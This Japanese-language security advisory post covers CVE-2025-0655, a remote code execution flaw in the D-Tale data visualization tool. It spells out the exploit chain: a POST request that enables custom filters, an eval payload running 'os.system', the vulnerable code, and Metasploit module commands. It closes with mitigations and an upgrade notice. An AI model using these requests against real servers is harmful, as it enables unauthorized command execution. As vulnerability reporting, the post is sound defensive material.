CVE-2025-0655 – Remote Code Execution in D-Tale via Unprotected Custom Filters
2025/05/29 offsec — データ可視化ツールである D-Tale に、深刻なリモートコード実行 (RCE) 脆弱性が発見された。この脆弱性を悪用する攻撃者は、保護されていない API エンドポイントを悪用し、任意のシステム・コマンド実行にいたるという。

脆弱性の概要
脆弱性 CVE-2025-0655 は、D-Tale データ可視化ツールのバージョン 3.15.1 に影響を及ぼす重大なリモートコード実行の脆弱性だ。なお、現時点において、この脆弱性は、CVE-2024-55890 の重複として却下されている。
いずれにせよ、上記の脆弱性の悪用に成功した未認証の攻撃者は、グローバル設定を有効化し、露出している API エンドポイントを悪用することで、任意のシステム・コマンド実行の可能性を得る。
- CVE ID: CVE-2025-0655
- Severity: Critical
- CVSS Score: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- EPSS Score: 85.91%
- Published: January 8, 2025
- Affected Versions: 3.15.1
- Patched Version: 3.16.1
技術的な詳細
この脆弱性は、D-Tale のバックエンドにおける、グローバル設定の処理方法に起因する。特に問題なのが、enable_custom_filters という設定フラグだ。原則として、このフラグは限定された環境で用いるものだが、以下のような POST リクエストを送る攻撃者により有効化されてしまう:
POST /dtale/global_state
{
"enable_custom_filters": true
}
このフラグの有効化に成功した攻撃者は、ユーザーが指定したフィルター式を処理する。” “/dtale/test-filter” エンドポイントにアクセスできるようになる。このエンドポイントは、安全が確保されないコンテキストで Python 式の評価を行う。したがって、それを操作する攻撃者は、システム・レベルのコマンド注入が可能になる。
任意のコード実行ペイロードの例:
{
"data": "__import__('os').system('id')"
}
悪用の条件
- 脆弱なコンフィグレーションにおいて認証は不要となる。
- D-Tale サーバが外部アクセスに公開されている。
- 対象 バージョン 3.15.1 では保護が適用されていない。
- “enable_custom_filters” がサーバ・ポリシーで無効化されていない。
脆弱なコード・スニペット
完全なソースコードは未公開だが、この脆弱性は、以下のようなフィルタ式の動的な評価に起因する:
def test_filter(expr):
eval(expr) # Dangerous use of eval()
このコードは、”enable_custom_filters” が “true” に設定されている場合において、API ルートを介して公開される。
悪用の手順
- グローバル設定の変更
“/dtale/global_state” に POST リクエストを送り、”enable_custom_filters” を有効化する。 - ペイロードの作成
“/dtale/test-filter” エンドポイントを用いて、システム・コマンドを取り込んだ悪意のペイロードを送信する。 - RCE の達成
ペイロードが評価され、実行中のサーバーのコンテキストで指定されたコードが実行される。
Metasploit による悪用
Metasploit には、この脆弱性を悪用するための専用モジュールが取り込まれている:
msf > use exploit/linux/http/dtale_rce_cve_2025_0655
msf exploit(dtale_rce_cve_2025_0655) > show targets
...targets...
msf exploit(dtale_rce_cve_2025_0655) > set TARGET <target-id>
msf exploit(dtale_rce_cve_2025_0655) > show options
...configure RHOSTS, RPORT, etc...
msf exploit(dtale_rce_cve_2025_0655) > set RHOSTS <ip>
msf exploit(dtale_rce_cve_2025_0655) > set RPORT <port>
msf exploit(dtale_rce_cve_2025_0655) > run
悪用に成功した攻撃者は、Web サーバ・ユーザーの権限により、リモート・シェルへのアクセスを取得する。
緩和策
- アップグレード:この脆弱性が修正された、D-Tale バージョン 3.16.1 以降にアップデートする。
- ネットワークの露出を制限:D-Tale へのアクセスを、信頼できる内部ネットワークからのみに制限する。
- 入力のサニタイズ:production 環境において、”enable_custom_filters” などの危険な設定を無効化する。
- WAF の導入:悪意の API コールを検出するために、WAF (Web Application Firewall) を使用する。
データ可視化ツール D-Tale に、深刻な脆弱性が見つかったとのことです。便利なツールである一方で、設定ミスや公開範囲には、十分な注意が必要という感じですね。D-Tale に限った話ではありませんが、安全に活用するためにも、早めのアップデートと適切なアクセス制御が大切です。
You must be logged in to post a comment.